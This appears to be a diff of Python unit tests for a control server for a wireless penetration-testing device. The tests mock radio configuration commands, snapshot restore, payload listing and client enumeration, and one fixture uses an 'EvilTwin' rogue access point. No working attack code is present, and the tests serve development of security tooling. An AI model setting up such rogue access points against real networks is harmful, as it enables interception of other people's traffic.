server.PINEAP_STATE_FILE = self.snap + '.pineap'
|
||||
self.old_run = server.device_run
|
||||
server.device_run = self.fake_run
|
||||
self.old_ent = server._disable_enterprise_ap
|
||||
server._disable_enterprise_ap = lambda resume_hop=True: None
|
||||
|
||||
def tearDown(self):
|
||||
server.device_run = self.old_run
|
||||
server._disable_enterprise_ap = self.old_ent
|
||||
server.PAGER_SNAPSHOT_FILE = self.old_file
|
||||
server.PINEAP_STATE_FILE = self.old_pineap
|
||||
for path in (self.snap, self.snap + '.tmp', self.snap + '.pineap'):
|
||||
try:
|
||||
os.unlink(path)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
def fake_run(self, args, timeout=20, input_data=None):
|
||||
a = list(args)
|
||||
if a[:2] == ['uci', '-q'] and a[2] == 'get':
|
||||
key = a[3]
|
||||
if key.startswith('wireless.') and key.count('.') == 1:
|
||||
name = key.split('.', 1)[1]
|
||||
if name in self.ifaces:
|
||||
return 0, 'wifi-iface\n', ''
|
||||
return 1, '', ''
|
||||
val = self.uci.get(key)
|
||||
if val is None:
|
||||
return 1, '', ''
|
||||
return 0, val + '\n', ''
|
||||
if a[:2] == ['uci', 'show']:
|
||||
sec = a[2]
|
||||
name = sec.split('.', 1)[-1]
|
||||
cfg = self.ifaces.get(name) or {}
|
||||
body = ''.join("%s.%s='%s'\n" % (sec, k, v) for k, v in cfg.items())
|
||||
return (0, body, '') if cfg or name in self.ifaces else (1, '', '')
|
||||
if a[:2] == ['uci', 'set']:
|
||||
expr = a[2]
|
||||
if '=' not in expr:
|
||||
return 0, '', ''
|
||||
key, _, val = expr.partition('=')
|
||||
parts = key.split('.')
|
||||
if len(parts) == 2 and parts[0] == 'wireless' and val == 'wifi-iface':
|
||||
self.ifaces.setdefault(parts[1], {})
|
||||
return 0, '', ''
|
||||
if len(parts) == 3 and parts[0] == 'wireless' and (
|
||||
parts[1] in self.ifaces or parts[1] in ('wlan1open', 'wlan1wpa', 'wlan1ent')):
|
||||
self.ifaces.setdefault(parts[1], {})[parts[2]] = val
|
||||
return 0, '', ''
|
||||
self.uci[key] = val
|
||||
return 0, '', ''
|
||||
if a[:2] == ['uci', 'delete']:
|
||||
key = a[2]
|
||||
parts = key.split('.')
|
||||
if len(parts) == 2 and parts[0] == 'wireless':
|
||||
self.ifaces.pop(parts[1], None)
|
||||
self.uci.pop(key, None)
|
||||
return 0, '', ''
|
||||
if a[:2] == ['uci', 'commit']:
|
||||
return 0, '', ''
|
||||
if a[0] in ('wifi', '/etc/init.d/pineapd', 'kill', 'iw'):
|
||||
return 0, '', ''
|
||||
return 0, '', ''
|
||||
|
||||
def test_restore_reverts_radio1_ap_and_hop(self):
|
||||
server.capture_pager_snapshot()
|
||||
self.assertTrue(os.path.isfile(self.snap))
|
||||
self.uci['pineapd.wlan1mon.hop'] = '0'
|
||||
self.ifaces['wlan1open'] = {'ssid': 'EvilTwin', 'disabled': '0', 'device': 'radio1'}
|
||||
self.uci['wireless.dummy_radio0.disabled'] = '1'
|
||||
result = server.restore_pager_truth()
|
||||
self.assertTrue(result['ok'])
|
||||
self.assertTrue(result['restored'])
|
||||
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '1')
|
||||
self.assertNotIn('wlan1open', self.ifaces)
|
||||
self.assertEqual(self.uci['wireless.dummy_radio0.disabled'], '0')
|
||||
self.assertFalse(os.path.isfile(self.snap))
|
||||
|
||||
def test_restore_without_snapshot_is_safe(self):
|
||||
result = server.restore_pager_truth()
|
||||
self.assertTrue(result['ok'])
|
||||
self.assertFalse(result['restored'])
|
||||
self.assertEqual(result['reason'], 'no snapshot')
|
||||
|
||||
def test_mode_get_reports_snapshot(self):
|
||||
server.capture_pager_snapshot()
|
||||
status, payload = server.h_mode_get(None)
|
||||
self.assertEqual(status, 200)
|
||||
self.assertTrue(payload['snapshot'])
|
||||
self.assertTrue(payload['markviii'])
|
||||
self.assertEqual(payload['pager_port'], 1471)
|
||||
|
||||
def test_payload_refresh_falls_back_to_disk(self):
|
||||
tmp = tempfile.mkdtemp()
|
||||
self.addCleanup(lambda: shutil.rmtree(tmp, ignore_errors=True))
|
||||
payload_dir = tmp
|
||||
for part in ('user', 'games', 'snake'):
|
||||
payload_dir = os.path.join(payload_dir, part)
|
||||
if not os.path.isdir(payload_dir):
|
||||
os.mkdir(payload_dir)
|
||||
with open(os.path.join(payload_dir, 'payload.sh'), 'w') as handle:
|
||||
handle.write('#!/bin/sh\n')
|
||||
old_roots = server.PAYLOAD_ROOTS
|
||||
old_daemon = server._payload_daemon
|
||||
server.PAYLOAD_ROOTS = (tmp,)
|
||||
server._payload_daemon = lambda *a, **k: (500, {'error': 'portal down'})
|
||||
try:
|
||||
status, data = server.h_payloads_refresh(None)
|
||||
finally:
|
||||
server.PAYLOAD_ROOTS = old_roots
|
||||
server._payload_daemon = old_daemon
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(len(data['payloads']), 1)
|
||||
self.assertEqual(data['payloads'][0]['key'], 'user~games~snake')
|
||||
self.assertIn('warning', data)
|
||||
|
||||
def test_respawn_keeps_original_snapshot(self):
|
||||
server.capture_pager_snapshot()
|
||||
self.uci['pineapd.wlan1mon.hop'] = '0'
|
||||
server.capture_pager_snapshot()
|
||||
result = server.restore_pager_truth()
|
||||
self.assertTrue(result['restored'])
|
||||
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '1')
|
||||
|
||||
def test_uci_get_keeps_settings_default(self):
|
||||
self.assertEqual(server._uci_get('missing.key', 'UTC'), 'UTC')
|
||||
self.assertIsNone(server._uci_get('missing.key'))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -51,6 +51,8 @@ class StatusTest(unittest.TestCase):
|
||||
def fake(args, timeout=20):
|
||||
if args == ['iwinfo']:
|
||||
return 0, 'wlan0 ESSID: "Pineapple"\n', ''
|
||||
if args[0] == 'iw':
|
||||
return 1, '', 'busy'
|
||||
if args == ['iwinfo', 'wlan0', 'assoclist']:
|
||||
return 0, '00:11:22:33:44:55 -64 dBm Signal: -64 dBm Rate: 12 Mbit/s\nAA:BB:CC:DD:EE:FF -40 dBm Signal: -40 dBm Rate: 24 Mbit/s\n', ''
|
||||
return 0, '', ''
|
||||
@@ -61,6 +63,23 @@ class StatusTest(unittest.TestCase):
|
||||
self.assertEqual(clients[0]['rssi'], -64)
|
||||
self.assertEqual(clients[0]['iface'], 'wlan0')
|
||||
|
||||
def test_assoc_clients_skips_monitor_ifaces(self):
|
||||
def fake(args, timeout=20):
|
||||
if args == ['iwinfo']:
|
||||
return 0, 'wlan0mon ESSID: unknown\nwlan0wpa ESSID: "x"\n', ''
|
||||
if args[0] == 'iw' and len(args) > 2 and args[2] == 'wlan0mon':
|
||||
raise AssertionError('must not query monitor ifaces')
|
||||
if args[:2] == ['iwinfo', 'wlan0mon']:
|
||||
raise AssertionError('must not query monitor ifaces')
|
||||
if args == ['iw', 'dev', 'wlan0wpa', 'station', 'dump']:
|
||||
return 0, 'Station aa:bb:cc:dd:ee:ff (on wlan0wpa)\n\tsignal: -50 dBm\n', ''
|
||||
return 1, '', ''
|
||||
server.device_run = fake
|
||||
clients = server.assoc_clients()
|
||||
self.assertEqual(len(clients), 1)
|
||||
self.assertEqual(clients[0]['mac'], 'AA:BB:CC:DD:EE:FF')
|
||||
self.assertEqual(clients[0]['iface'], 'wlan0wpa')
|
||||
|
||||
def test_h_status_shape(self):
|
||||
server.device_run = lambda args, timeout=20: (0, '', '')
|
||||
server.current_token = lambda: 'tok'
|
||||
|
||||
Reference in New Issue
Block a user